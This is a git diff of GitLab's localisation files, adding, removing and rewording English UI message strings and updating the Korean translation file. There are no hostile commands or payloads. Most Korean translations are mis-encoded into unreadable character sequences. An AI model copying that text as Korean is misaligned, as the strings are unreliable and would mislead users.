@@ -40670,15 +41350,6 @@ msgstr ""
msgid "TemporaryStorageIncrease|can only be set with more than %{percentage}%% usage"
msgstr ""
-msgid "TemporaryStorage|GitLab allows you a %{strongStart}free, one-time storage increase%{strongEnd}. For 30 days your storage will be unlimited. This gives you time to reduce your storage usage. After 30 days, your original storage limit of %{limit} applies. If you are at maximum storage capacity, your account will be read-only. To continue using GitLab you'll have to purchase additional storage or decrease storage usage."
-msgstr ""
-
-msgid "TemporaryStorage|Increase storage temporarily"
-msgstr ""
-
-msgid "TemporaryStorage|Temporarily increase storage now?"
-msgstr ""
-
msgid "Terminal"
msgstr ""
@@ -40709,6 +41380,21 @@ msgstr ""
msgid "TerraformBanner|Using Terraform? Try the GitLab Managed Terraform State"
msgstr ""
+msgid "TerraformLimits|Learn more about Terraform limits."
+msgstr ""
+
+msgid "TerraformLimits|Limits for Terraform features"
+msgstr ""
+
+msgid "TerraformLimits|Maximum file size (in bytes) of Terraform state files. Set to 0 for no limit."
+msgstr ""
+
+msgid "TerraformLimits|Terraform limits"
+msgstr ""
+
+msgid "TerraformLimits|Terraform state size limit (bytes)"
+msgstr ""
+
msgid "Terraform|%{name} successfully removed"
msgstr ""
@@ -40975,9 +41661,6 @@ msgstr ""
msgid "TestReports|Test reports require job artifacts but all artifacts are expired. %{linkStart}Learn more%{linkEnd}"
msgstr ""
-msgid "TestReports|Tests"
-msgstr ""
-
msgid "TestReports|There are no test cases to display."
msgstr ""
@@ -41231,6 +41914,9 @@ msgid_plural "The following personal access tokens: %{token_names} were revoked,
msgstr[0] ""
msgstr[1] ""
+msgid "The following personal access tokens have expired:"
+msgstr ""
+
msgid "The fork relationship has been removed."
msgstr ""
@@ -41380,6 +42066,9 @@ msgstr ""
msgid "The name of the Jenkins project. Copy the name from the end of the URL to the project."
msgstr ""
+msgid "The new Web IDE"
+msgstr ""
+
msgid "The number of changes to fetch from GitLab when cloning a repository. Lower values can speed up pipeline execution. Set to %{code_open}0%{code_close} or blank to fetch all branches and tags for each job"
msgstr ""
@@ -41584,6 +42273,9 @@ msgstr ""
msgid "There are no abuse reports!"
msgstr ""
+msgid "There are no approval rules for the given `represent_as` parameter. Use a valid User/Group/Role name instead."
+msgstr ""
+
msgid "There are no archived requirements"
msgstr ""
@@ -41932,6 +42624,9 @@ msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
msgstr ""
+msgid "This %{issuable} is hidden because its author has been banned"
+msgstr ""
+
msgid "This %{issuable} is locked. Only %{strong_open}project members%{strong_close} can comment."
msgstr ""
@@ -42034,21 +42729,27 @@ msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
msgstr ""
-msgid "This commit was signed with %{strong_open}multiple%{strong_close} signatures."
-msgstr ""
-
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
msgid "This commit was signed with a different user's verified signature."
msgstr ""
+msgid "This commit was signed with a verified signature and the committer email was verified to belong to the same user."
+msgstr ""
+
msgid "This commit was signed with a verified signature, but the committer email is not associated with the GPG Key."
msgstr ""
msgid "This commit was signed with an %{strong_open}unverified%{strong_close} signature."
msgstr ""
+msgid "This commit was signed with an unverified signature."
+msgstr ""
+
+msgid "This commit was signed with multiple signatures."
+msgstr ""
+
msgid "This content could not be displayed because %{reason}. You can %{options} instead."
msgstr ""
@@ -42271,6 +42972,9 @@ msgstr ""
msgid "This job does not run automatically and must be started manually, but you do not have access to it."
msgstr ""
+msgid "This job does not start automatically and must be started manually. You can add CI/CD variables below for last-minute configuration changes before starting the job."
+msgstr ""
+
msgid "This job has been canceled"
msgstr ""
@@ -42346,9 +43050,6 @@ msgstr ""
msgid "This job requires a manual action"
msgstr ""
-msgid "This job requires manual intervention to start. Before starting this job, you can add variables below for last-minute configuration changes."
-msgstr ""
-
msgid "This job will automatically run after its timer finishes. Often they are used for incremental roll-out deploys to production environments. When unscheduled it converts into a manual action."
msgstr ""
@@ -42553,7 +43254,7 @@ msgstr ""
msgid "This variable can not be masked."
msgstr ""
-msgid "This vulnerability type has been deprecated from GitLab's default ruleset and automatically resolved."
+msgid "This vulnerability was automatically resolved because its vulnerability type was disabled in this project or removed from GitLab's default ruleset."
msgstr ""
msgid "This will invalidate your registered applications and U2F / WebAuthn devices."
@@ -42995,6 +43696,11 @@ msgstr ""
msgid "To import an SVN repository, check out %{svn_link}."
msgstr ""
+msgid "To invite more users, you can reduce the number of users in your namespace to %{free_limit} user or less. You can also upgrade to a paid tier which do not have user limits. If you need additional time, you can start a free 30-day trial which includes unlimited users."
+msgid_plural "To invite more users, you can reduce the number of users in your namespace to %{free_limit} users or less. You can also upgrade to a paid tier which do not have user limits. If you need additional time, you can start a free 30-day trial which includes unlimited users."
+msgstr[0] ""
+msgstr[1] ""
+
msgid "To keep this project going, create a new issue"
msgstr ""
@@ -43211,7 +43917,7 @@ msgstr ""
msgid "Todos|added a to-do item"
msgstr ""
-msgid "Todos|has requested access"
+msgid "Todos|has requested access to %{what} %{which}"
msgstr ""
msgid "Todos|mentioned %{who}"
@@ -43508,24 +44214,12 @@ msgstr ""
msgid "Trials|Day %{daysUsed}/%{duration}"
msgstr ""
-msgid "Trials|Go back to GitLab"
-msgstr ""
-
-msgid "Trials|Skip Trial"
-msgstr ""
-
msgid "Trials|Upgrade %{groupName} to %{planName}"
msgstr ""
-msgid "Trials|You can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
-msgstr ""
-
msgid "Trials|You can apply your trial to a new group or an existing group."
msgstr ""
-msgid "Trials|You won't get a free trial right now but you can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
-msgstr ""
-
msgid "Trials|You've got %{daysRemaining} day remaining on GitLab %{planName}!"
msgid_plural "Trials|You've got %{daysRemaining} days remaining on GitLab %{planName}!"
msgstr[0] ""
@@ -43630,15 +44324,12 @@ msgstr ""
msgid "Try grouping with different labels"
msgstr ""
-msgid "Try logging in using your username or email. If you have forgotten your password, try recovering it"
+msgid "Try it out now"
msgstr ""
msgid "Try out GitLab Pipelines"
msgstr ""
-msgid "Try out the new Web IDE"
-msgstr ""
-
msgid "Try the troubleshooting steps here."
msgstr ""
@@ -43810,6 +44501,9 @@ msgstr ""
msgid "Unable to create link to vulnerability"
msgstr ""
+msgid "Unable to create pipeline"
+msgstr ""
+
msgid "Unable to fetch branch list for this project."
msgstr ""
@@ -43852,6 +44546,9 @@ msgstr ""
msgid "Unable to load the merge request widget. Try reloading the page."
msgstr ""
+msgid "Unable to load the page"
+msgstr ""
+
msgid "Unable to parse JSON"
msgstr ""
@@ -44032,6 +44729,9 @@ msgstr ""
msgid "Unselect \"Expand variable reference\" if you want to use the variable value as a raw string."
msgstr ""
+msgid "Unselect all"
+msgstr ""
+
msgid "Unstar"
msgstr ""
@@ -44071,6 +44771,9 @@ msgstr ""
msgid "Unverified"
msgstr ""
+msgid "Unverified signature"
+msgstr ""
+
msgid "Up to date"
msgstr ""
@@ -44140,6 +44843,9 @@ msgstr ""
msgid "UpdateProject|Could not set the default branch"
msgstr ""
+msgid "UpdateProject|Could not set the default branch. Do you have a branch named 'HEAD' in your repository? (%{linkStart}How do I fix this?%{linkEnd})"
+msgstr ""
+
msgid "UpdateProject|New visibility level not allowed!"
msgstr ""
@@ -44302,15 +45008,9 @@ msgstr ""
msgid "UsageQuota|Includes artifacts, repositories, wiki, uploads, and other items."
msgstr ""
-msgid "UsageQuota|Increase storage temporarily"
-msgstr ""
-
msgid "UsageQuota|LFS storage"
msgstr ""
-msgid "UsageQuota|Learn more about excess storage usage"
-msgstr ""
-
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
@@ -44341,15 +45041,9 @@ msgstr ""
msgid "UsageQuota|Pipelines"
msgstr ""
-msgid "UsageQuota|Purchase more storage"
-msgstr ""
-
msgid "UsageQuota|Purchased storage"
msgstr ""
-msgid "UsageQuota|Purchased storage available"
-msgstr ""
-
msgid "UsageQuota|Purchased storage used"
msgstr ""
@@ -44407,24 +45101,12 @@ msgstr ""
msgid "UsageQuota|The table below shows usage since %{usageSince}"
msgstr ""
-msgid "UsageQuota|This is the total amount of storage used across your projects within this namespace."
-msgstr ""
-
-msgid "UsageQuota|This is the total amount of storage used by projects above the free %{actualRepositorySizeLimit} storage limit."
-msgstr ""
-
msgid "UsageQuota|This namespace has no projects which used shared runners in the current period"
msgstr ""
msgid "UsageQuota|This table omits projects that used 0 CI/CD minutes or 0 shared runners duration"
msgstr ""
-msgid "UsageQuota|Total excess storage used"
-msgstr ""
-
-msgid "UsageQuota|Total namespace storage used"
-msgstr ""
-
msgid "UsageQuota|Uploads"
msgstr ""
@@ -44452,9 +45134,6 @@ msgstr ""
msgid "UsageQuota|Usage of resources across your projects"
msgstr ""
-msgid "UsageQuota|Usage quotas help link"
-msgstr ""
-
msgid "UsageQuota|User settings &gt; Usage quotas"
msgstr ""
@@ -44473,15 +45152,9 @@ msgstr ""
msgid "UsageQuota|You have reached the free storage limit on %{projectsLockedText}. To unlock them, purchase additional storage."
msgstr ""
-msgid "UsageQuota|You used: %{usage} %{limit}"
-msgstr ""
-
msgid "UsageQuota|Your purchased storage is running low. To avoid locked projects, purchase more storage."
msgstr ""
-msgid "UsageQuota|out of %{formattedLimit} of your namespace storage"
-msgstr ""
-
msgid "UsageTrends|Could not load the issues and merge requests chart. Please refresh the page to try again."
msgstr ""
@@ -44638,6 +45311,9 @@ msgstr ""
msgid "Use the %{strongStart}Test%{strongEnd} option above to create an event."
msgstr ""
+msgid "Use the Apple App Store Connect integration to easily connect to the Apple App Store with Fastlane in CI/CD pipelines."
+msgstr ""
+
msgid "Use the link below to confirm your email address (%{email})"
msgstr ""
@@ -44694,6 +45370,12 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
+msgid "User %{user} SCIM identity is deactivated"
+msgstr ""
+
+msgid "User %{user} SCIM identity is reactivated"
+msgstr ""
+
msgid "User %{user} was removed from %{group}."
msgstr ""
@@ -44868,9 +45550,6 @@ msgstr ""
msgid "UserProfile|Activity"
msgstr ""
-msgid "UserProfile|Already reported for abuse"
-msgstr ""
-
msgid "UserProfile|Blocked user"
msgstr ""
@@ -44937,10 +45616,10 @@ msgstr ""
msgid "UserProfile|Subscribe"
msgstr ""
-msgid "UserProfile|This user doesn't have any followers."
+msgid "UserProfile|There are no projects available to be displayed here."
msgstr ""
-msgid "UserProfile|This user doesn't have any personal projects"
+msgid "UserProfile|This user doesn't have any followers."
msgstr ""
msgid "UserProfile|This user has a private profile"
@@ -45108,10 +45787,7 @@ msgstr ""
msgid "Using the %{codeStart}needs%{codeEnd} keyword makes jobs run before their stage is reached. Jobs run as soon as their %{codeStart}needs%{codeEnd} relationships are met, which speeds up your pipelines."
msgstr ""
-msgid "VS Code in your browser. View code and make changes from the same UI as in your local IDE 🎉"
-msgstr ""
-
-msgid "Valid From"
+msgid "VS Code in your browser. View code and make changes from the same UI as in your local IDE."
msgstr ""
msgid "Validate"
@@ -45303,6 +45979,9 @@ msgstr ""
msgid "Verified"
msgstr ""
+msgid "Verified commit"
+msgstr ""
+
msgid "Verify SAML Configuration"
msgstr ""
@@ -45315,9 +45994,6 @@ msgstr ""
msgid "Version"
msgstr ""
-msgid "Version %{report_version} for report type %{report_type} has been deprecated, supported versions for this report type are: %{supported_schema_versions}. GitLab will attempt to parse and ingest this report if valid."
-msgstr ""
-
msgid "Version %{report_version} for report type %{report_type} is unsupported, supported versions for this report type are: %{supported_schema_versions}. GitLab will attempt to validate this report against the earliest supported versions of this report type, to show all the errors but will not ingest the report"
msgstr ""
@@ -45387,6 +46063,9 @@ msgstr ""
msgid "View all projects"
msgstr ""
+msgid "View and edit markdown, with the option to preview the formatted output."
+msgstr ""
+
msgid "View blame"
msgstr ""
@@ -45481,6 +46160,9 @@ msgstr ""
msgid "View logs"
msgstr ""
+msgid "View markdown"
+msgstr ""
+
msgid "View milestones"
msgstr ""
@@ -45513,6 +46195,9 @@ msgstr[1] ""
msgid "View replaced file @ "
msgstr ""
+msgid "View rich text"
+msgstr ""
+
msgid "View seat usage"
msgstr ""
@@ -45525,6 +46210,9 @@ msgstr ""
msgid "View the documentation"
msgstr ""
+msgid "View the formatted output in real-time as you edit."
+msgstr ""
+
msgid "View the latest successful deployment to this environment"
msgstr ""
@@ -45549,9 +46237,6 @@ msgstr ""
msgid "Violation"
msgstr ""
-msgid "Visibility"
-msgstr ""
-
msgid "Visibility and access controls"
msgstr ""
@@ -46284,10 +46969,10 @@ msgstr ""
msgid "Webhooks|Pipeline events"
msgstr ""
-msgid "Webhooks|Regex such as %{REGEX_CODE} is supported."
+msgid "Webhooks|Regular expression"
msgstr ""
-msgid "Webhooks|Regular expression"
+msgid "Webhooks|Regular expressions such as %{REGEX_CODE} are supported."
msgstr ""
msgid "Webhooks|Releases events"
@@ -46735,9 +47420,21 @@ msgstr ""
msgid "Work in progress Limit"
msgstr ""
+msgid "WorkItem|%{count} more assignees"
+msgstr ""
+
+msgid "WorkItem|%{invalidWorkItemsList} cannot be added: Cannot assign a non-confidential %{childWorkItemType} to a confidential parent %{parentWorkItemType}. Make the selected %{childWorkItemType} confidential and try again."
+msgstr ""
+
msgid "WorkItem|%{workItemType} deleted"
msgstr ""
+msgid "WorkItem|A non-confidential %{workItemType} cannot be assigned to a confidential parent %{parentWorkItemType}."
+msgstr ""
+
+msgid "WorkItem|Activity"
+msgstr ""
+
msgid "WorkItem|Add"
msgstr ""
@@ -46824,6 +47521,9 @@ msgstr ""
msgid "WorkItem|Expand tasks"
msgstr ""
+msgid "WorkItem|Health status"
+msgstr ""
+
msgid "WorkItem|Incident"
msgstr ""
@@ -46833,7 +47533,7 @@ msgstr ""
msgid "WorkItem|Iteration"
msgstr ""
-msgid "WorkItem|Key result"
+msgid "WorkItem|Key Result"
msgstr ""
msgid "WorkItem|Milestone"
@@ -46866,7 +47566,7 @@ msgstr ""
msgid "WorkItem|Objective"
msgstr ""
-msgid "WorkItem|Only project members with at least the Reporter role, the author, and assignees can view or be notified about this task."
+msgid "WorkItem|Only project members with at least the Reporter role, the author, and assignees can view or be notified about this %{workItemType}."
msgstr ""
msgid "WorkItem|Open"
@@ -46920,6 +47620,12 @@ msgstr ""
msgid "WorkItem|Something went wrong while fetching milestones. Please try again."
msgstr ""
+msgid "WorkItem|Something went wrong while removing child."
+msgstr ""
+
+msgid "WorkItem|Something went wrong while undoing child removal."
+msgstr ""
+
msgid "WorkItem|Something went wrong while updating the %{workItemType}. Please try again."
msgstr ""
@@ -46941,6 +47647,12 @@ msgstr ""
msgid "WorkItem|Test case"
msgstr ""
+msgid "WorkItem|This %{workItemType} is confidential and should only be visible to team members with at least Reporter access"
+msgstr ""
+
+msgid "WorkItem|This objective is confidential and should only be visible to team members with at least Reporter access"
+msgstr ""
+
msgid "WorkItem|This work item is not available. It either doesn't exist or you don't have permission to view it."
msgstr ""
@@ -47045,6 +47757,9 @@ msgstr ""
msgid "You are about to delete this project containing:"
msgstr ""
+msgid "You are about to incur additional charges"
+msgstr ""
+
msgid "You are about to transfer the control of your account to %{group_name} group. This action is NOT reversible, you won't be able to access any of your groups and projects outside of %{group_name} once this transfer is complete."
msgstr ""
@@ -47177,9 +47892,6 @@ msgstr ""
msgid "You can also star a label to make it a priority label."
msgstr ""
-msgid "You can also test your %{gitlab_ci_yml} in %{lint_link_start}CI Lint%{lint_link_end}"
-msgstr ""
-
msgid "You can also upload existing files from your computer using the instructions below."
msgstr ""
@@ -47270,6 +47982,9 @@ msgstr ""
msgid "You can invite another group to %{project_name}."
msgstr ""
+msgid "You can modify this job's CI/CD variables before running it again."
+msgstr ""
+
msgid "You can move around the graph by using the arrow keys."
msgstr ""
@@ -47309,9 +48024,6 @@ msgstr ""
msgid "You can specify notification level per group or per project."
msgstr ""
-msgid "You can test your .gitlab-ci.yml in %{linkStart}CI Lint%{linkEnd}."
-msgstr ""
-
msgid "You can view the source or %{linkStart}%{cloneIcon} clone the repository%{linkEnd}"
msgstr ""
@@ -47327,7 +48039,7 @@ msgstr ""
msgid "You cannot add any more epics. This epic already has maximum number of child epics."
msgstr ""
-msgid "You cannot approve your own deployment."
+msgid "You cannot approve your own deployment. This configuration can be adjusted in the protected environment settings."
msgstr ""
msgid "You cannot combine replace_ids with add_ids or remove_ids"
@@ -47420,7 +48132,7 @@ msgstr ""
msgid "You don't have any recent searches"
msgstr ""
-msgid "You don't have permission to review this deployment. Contact the project or group owner for help."
+msgid "You don't have permission to approve this deployment. Contact the project or group owner for help."
msgstr ""
msgid "You don't have permission to view this epic"
@@ -47449,6 +48161,9 @@ msgid_plural "You have %{pendingMembersCount} pending members that need approval
msgstr[0] ""
msgstr[1] ""
+msgid "You have already reported this user"
+msgstr ""
+
msgid "You have been granted %{access_level} access to the %{source_link} %{source_type}."
msgstr ""
@@ -47566,6 +48281,9 @@ msgstr ""
msgid "You must provide a valid current password"
msgstr ""
+msgid "You must provide at least one filter argument for this query"
+msgstr ""
+
msgid "You must provide your current password in order to change it."
msgstr ""
@@ -47719,8 +48437,10 @@ msgstr ""
msgid "You've rejected %{user}"
msgstr ""
-msgid "You've successfully purchased the %{plan} plan subscription for %{seats} and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
-msgstr ""
+msgid "You've successfully purchased the %{plan} plan subscription for 1 user and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
+msgid_plural "You've successfully purchased the %{plan} plan subscription for %{quantity} users and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
+msgstr[0] ""
+msgstr[1] ""
msgid "YouTube"
msgstr ""
@@ -47958,6 +48678,9 @@ msgstr ""
msgid "Your name"
msgstr ""
+msgid "Your namespace %{namespace_name} has reached the %{free_limit} user limit"
+msgstr ""
+
msgid "Your namespace %{namespace_name} is over the %{free_limit} user limit and has been placed in a read-only state."
msgstr ""
@@ -47985,7 +48708,7 @@ msgstr ""
msgid "Your password reset token has expired."
msgstr ""
-msgid "Your personal access token has expired"
+msgid "Your personal access tokens have expired"
msgstr ""
msgid "Your personal access tokens will expire in %{days_to_expire} days or less"
@@ -48062,6 +48785,9 @@ msgstr ""
msgid "Your username is %{username}."
msgstr ""
+msgid "Your work"
+msgstr ""
+
msgid "You’re about to permanently delete the %{issuableType} ‘%{strongOpen}%{issuableTitle}%{strongClose}’. To avoid data loss, consider %{strongOpen}closing this %{issuableType}%{strongClose} instead. Once deleted, it cannot be undone or recovered."
msgstr ""
@@ -48263,6 +48989,9 @@ msgstr ""
msgid "can not be changed for existing notes"
msgstr ""
+msgid "can not be changed to %{new_type}"
+msgstr ""
+
msgid "can not be set for this resource"
msgstr ""
@@ -48499,10 +49228,13 @@ msgstr ""
msgid "ciReport|Code Quality"
msgstr ""
-msgid "ciReport|Code Quality failed loading results"
+msgid "ciReport|Code Quality failed to load results"
msgstr ""
-msgid "ciReport|Code Quality test metrics results are being parsed"
+msgid "ciReport|Code Quality hasn't changed."
+msgstr ""
+
+msgid "ciReport|Code Quality is loading"
msgstr ""
msgid "ciReport|Code quality degraded due to 1 new issue"
@@ -48655,9 +49387,6 @@ msgstr ""
msgid "ciReport|New vulnerabilities are vulnerabilities that the security scan detects in the merge request that are different to existing vulnerabilities in the default branch."
msgstr ""
-msgid "ciReport|No changes to Code Quality."
-msgstr ""
-
msgid "ciReport|No changes to code quality"
msgstr ""
@@ -49142,9 +49871,6 @@ msgstr ""
msgid "is not a descendant of the Group owning the template"
msgstr ""
-msgid "is not a valid URL."
-msgstr ""
-
msgid "is not a valid X509 certificate."
msgstr ""
@@ -49659,6 +50385,9 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
+msgid "must be in ISO 8601 format"
+msgstr ""
+
msgid "must be in same hierarchy as custom role's namespace"
msgstr ""
@@ -49746,12 +50475,6 @@ msgstr ""
msgid "nounSeries|%{item}, and %{lastItem}"
msgstr ""
-msgid "only %{parent_types} can be parent of Task."
-msgstr ""
-
-msgid "only Task can be assigned as a child in hierarchy."
-msgstr ""
-
msgid "only available on top-level groups."
msgstr ""
@@ -50164,6 +50887,9 @@ msgstr ""
msgid "verify ownership"
msgstr ""
+msgid "version %{report_version} for report type %{report_type} is deprecated. However, GitLab will still attempt to parse and ingest this report. Upgrade the security report to one of the following versions: %{current_schema_versions}."
+msgstr ""
+
msgid "version %{versionIndex}"
msgstr ""
diff --git a/locale/ko/gitlab.po b/locale/ko/gitlab.po
index 0f14d54f88e..1a242ff8705 100644
--- a/locale/ko/gitlab.po
+++ b/locale/ko/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: ko\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 16\n"
-"PO-Revision-Date: 2022-12-10 06:40\n"
+"PO-Revision-Date: 2023-01-10 06:44\n"
msgid " %{start} to %{end}"
msgstr " %{start}부터 %{end}까지"
@@ -659,6 +659,9 @@ msgstr "%{italic_start}새로운 기능%{italic_end} 메뉴는 비활성화ë˜ì–
msgid "%{itemsCount} issues with a limit of %{maxIssueCount}"
msgstr ""
+msgid "%{key} is not a valid URL."
+msgstr ""
+
msgid "%{labelStart}Actual response:%{labelEnd} %{headers}"
msgstr ""
@@ -731,6 +734,9 @@ msgstr "%{group_level_name} 그룹ì—는 %{level_name} ì´ í—ˆìš©ë˜ì§€ 않습ë‹
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr "Forkí•œ ì›ë³¸ 프로ì íŠ¸ê°€ ë” ë‚®ì€ ê³µê°œ 수준으로 설정ë˜ì–´ 있으므로 %{level_name} ìˆ˜ì¤€ì´ í—ˆìš©ë˜ì§€ 않습니다."
+msgid "%{linkStart} Learn more%{linkEnd}."
+msgstr ""
+
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
@@ -861,6 +867,12 @@ msgstr ""
msgid "%{ref} cannot be added: %{error}"
msgstr "%{ref}(ì„)를 추가 í•  수 없습니다: %{error}"
+msgid "%{relation_type} epic does not exist."
+msgstr ""
+
+msgid "%{relation_type} epic is not present."
+msgstr ""
+
msgid "%{releases} release"
msgid_plural "%{releases} releases"
msgstr[0] "%{releases} 릴리스"
@@ -877,6 +889,10 @@ msgstr ""
msgid "%{reportType} detected no new vulnerabilities."
msgstr ""
+msgid "%{requireStart}Require%{requireEnd} %{approvalsRequired} %{approvalStart}approval%{approvalEnd} from: %{approverType}%{approvers}"
+msgid_plural "%{requireStart}Require%{requireEnd} %{approvalsRequired} %{approvalStart}approvals%{approvalEnd} from: %{approverType}%{approvers}"
+msgstr[0] "%{requireStart}í•„ìš”%{requireEnd} %{approvalsRequired} %{approvalStart}승ì¸%{approvalEnd} 출처: %{approverType}%{approvers}"
+
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
msgstr "%{retryButtonStart}다시 ì‹œë„%{retryButtonEnd} ë˜ëŠ” %{newFileButtonStart}새 íŒŒì¼ ì²¨ë¶€%{newFileButtonEnd}."
@@ -911,9 +927,6 @@ msgid "%{selectedProjectsCount} project"
msgid_plural "%{selectedProjectsCount} projects"
msgstr[0] ""
-msgid "%{size} %{unit}"
-msgstr "%{size} %{unit}"
-
msgid "%{size} GiB"
msgstr "%{size} GiB"
@@ -1010,10 +1023,6 @@ msgstr "%{template_project_id}(ì€)는 ì•Œ 수 없거나 잘못ë˜ì—ˆìŠµë‹ˆë‹¤."
msgid "%{text} is available"
msgstr "%{text} 사용 가능"
-msgid "%{thenLabelStart}Then%{thenLabelEnd} Require %{approvalsRequired} approval from %{approverType}%{approvers}"
-msgid_plural "%{thenLabelStart}Then%{thenLabelEnd} Require %{approvalsRequired} approvals from %{approverType}%{approvers}"
-msgstr[0] ""
-
msgid "%{timebox_type} does not support burnup charts"
msgstr ""
@@ -1409,8 +1418,8 @@ msgid_plural "%d roles"
msgstr[0] "%dê°œì˜ ì—­í• "
msgid "1 user"
-msgid_plural "%{num} users"
-msgstr[0] "%{num}ëª…ì˜ ì‚¬ìš©ìž"
+msgid_plural "%d users"
+msgstr[0] ""
msgid "1 week remaining"
msgid_plural "%d weeks remaining"
@@ -1633,6 +1642,9 @@ msgstr "리베ì´ìŠ¤ëŠ” ì´ë¯¸ 진행 중입니다."
msgid "A sign-in to your account has been made from the following IP address: %{ip}"
msgstr "ë‹¤ìŒ IP 주소ì—ì„œ ê³„ì •ì— ë¡œê·¸ì¸í–ˆìŠµë‹ˆë‹¤ : %{ip}"
+msgid "A template for starting a new TYPO3 project"
+msgstr ""
+
msgid "A title is required"
msgstr "ì œëª©ì´ í•„ìš”í•©ë‹ˆë‹¤."
@@ -1777,9 +1789,6 @@ msgstr "AWS 액세스 키 ID(ì„ íƒ ì‚¬í•­)"
msgid "AWS secret access key (Optional)"
msgstr "AWS secret 액세스 키(ì„ íƒ ì‚¬í•­)"
-msgid "AWS service error: %{error}"
-msgstr "AWS 서비스 ì—러 : %{error}"
-
msgid "Abort"
msgstr "중지"
@@ -1828,9 +1837,6 @@ msgstr "액세스 토í°"
msgid "Access denied for your LDAP account."
msgstr "LDAP 계정 ì ‘ê·¼ì´ ê±°ë¶€ë˜ì—ˆìŠµë‹ˆë‹¤."
-msgid "Access denied: %{error}"
-msgstr ""
-
msgid "Access expires"
msgstr ""
@@ -1990,8 +1996,8 @@ msgstr ""
msgid "Activate Service Desk"
msgstr "서비스 ë°ìŠ¤í¬ 활성화"
-msgid "Activated on"
-msgstr "활성화 ë¨"
+msgid "Activated"
+msgstr ""
msgid "Active"
msgstr "활성"
@@ -2068,6 +2074,9 @@ msgstr "ì²´í¬ë¦¬ìŠ¤íŠ¸ 추가"
msgid "Add a collapsible section"
msgstr ""
+msgid "Add a comment"
+msgstr ""
+
msgid "Add a comment to this line"
msgstr "ì´ ë¼ì¸ì— 댓글 추가"
@@ -2446,15 +2455,18 @@ msgstr "활성 사용ìž"
msgid "AdminArea|All users created in the instance, including users who are not %{billable_users_link_start}billable users%{billable_users_link_end}."
msgstr ""
-msgid "AdminArea|Billable users"
-msgstr "청구 가능한 사용ìž"
-
msgid "AdminArea|Blocked users"
msgstr "ì°¨ë‹¨ëœ ì‚¬ìš©ìž"
msgid "AdminArea|Bots"
msgstr "ë´‡"
+msgid "AdminArea|Breakdown of Billable users"
+msgstr ""
+
+msgid "AdminArea|Breakdown of Non-Billable users"
+msgstr ""
+
msgid "AdminArea|Components"
msgstr "ì»´í¬ë„ŒíŠ¸"
@@ -2536,9 +2548,18 @@ msgstr "작업 중지"
msgid "AdminArea|Stopping jobs failed"
msgstr "ìž‘ì—… ì¤‘ì§€ì— ì‹¤íŒ¨í–ˆìŠµë‹ˆë‹¤."
+msgid "AdminArea|Total Billable users"
+msgstr ""
+
+msgid "AdminArea|Total Non-Billable users"
+msgstr ""
+
msgid "AdminArea|Total users"
msgstr "ì´ ì‚¬ìš©ìž"
+msgid "AdminArea|Totals"
+msgstr ""
+
msgid "AdminArea|Updated %{last_update_time}"
msgstr ""
@@ -2566,6 +2587,12 @@ msgstr "최신 유저 보기"
msgid "AdminArea|You’re about to stop all jobs. This will halt all current jobs that are running."
msgstr ""
+msgid "AdminArea|active users + blocked users"
+msgstr ""
+
+msgid "AdminArea|total billable + total non-billable"
+msgstr ""
+
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr ""
@@ -2620,6 +2647,9 @@ msgstr ""
msgid "AdminSettings|Auto DevOps domain"
msgstr "Auto DevOps ë„ë©”ì¸"
+msgid "AdminSettings|By default, set a limit to 0 to have no limit."
+msgstr ""
+
msgid "AdminSettings|CI/CD limits"
msgstr ""
@@ -2689,6 +2719,9 @@ msgstr ""
msgid "AdminSettings|Enable kuromoji custom analyzer: Search"
msgstr ""
+msgid "AdminSettings|Enable migrating GitLab groups and projects by direct transfer"
+msgstr ""
+
msgid "AdminSettings|Enable pipeline suggestion banner"
msgstr ""
@@ -2776,6 +2809,9 @@ msgstr ""
msgid "AdminSettings|Maximum number of custom domains per project"
msgstr "프로ì íŠ¸ë‹¹ 최대 ì‚¬ìš©ìž ì •ì˜ ë„ë©”ì¸ ìˆ˜"
+msgid "AdminSettings|Maximum number of downstream pipelines in a pipeline's hierarchy tree"
+msgstr ""
+
msgid "AdminSettings|Maximum number of jobs in a single pipeline"
msgstr ""
@@ -2863,9 +2899,6 @@ msgstr ""
msgid "AdminSettings|Set a CI/CD template as the required pipeline configuration for all projects in the instance. Project CI/CD configuration merges into the required pipeline configuration when the pipeline runs. %{link_start}What is a required pipeline configuration?%{link_end}"
msgstr ""
-msgid "AdminSettings|Set limit to 0 to disable it."
-msgstr "ì´ë¥¼ 비활성화하려면 제한 ê°’ì„ 0으로 설정하십시오."
-
msgid "AdminSettings|Set the expiration time of authentication tokens of newly registered group runners."
msgstr "새로 등ë¡ëœ 그룹 ëŸ¬ë„ˆì˜ ì¸ì¦ í† í° ë§Œë£Œ ì‹œê°„ì„ ì„¤ì •í•©ë‹ˆë‹¤."
@@ -2911,6 +2944,9 @@ msgstr ""
msgid "AdminSettings|There are Advanced Search migrations pending that require indexing to pause. Indexing must remain paused until GitLab completes the migrations."
msgstr ""
+msgid "AdminSettings|This limit cannot be disabled. Set to 0 to block all DAG dependencies."
+msgstr ""
+
msgid "AdminSettings|To enable Registration Features, first enable Service Ping."
msgstr ""
@@ -3157,7 +3193,7 @@ msgstr ""
msgid "AdminUsers|Is using seat"
msgstr ""
-msgid "AdminUsers|Issues authored by this user are hidden from other users."
+msgid "AdminUsers|Issues and merge requests authored by this user are hidden from other users."
msgstr ""
msgid "AdminUsers|It's you!"
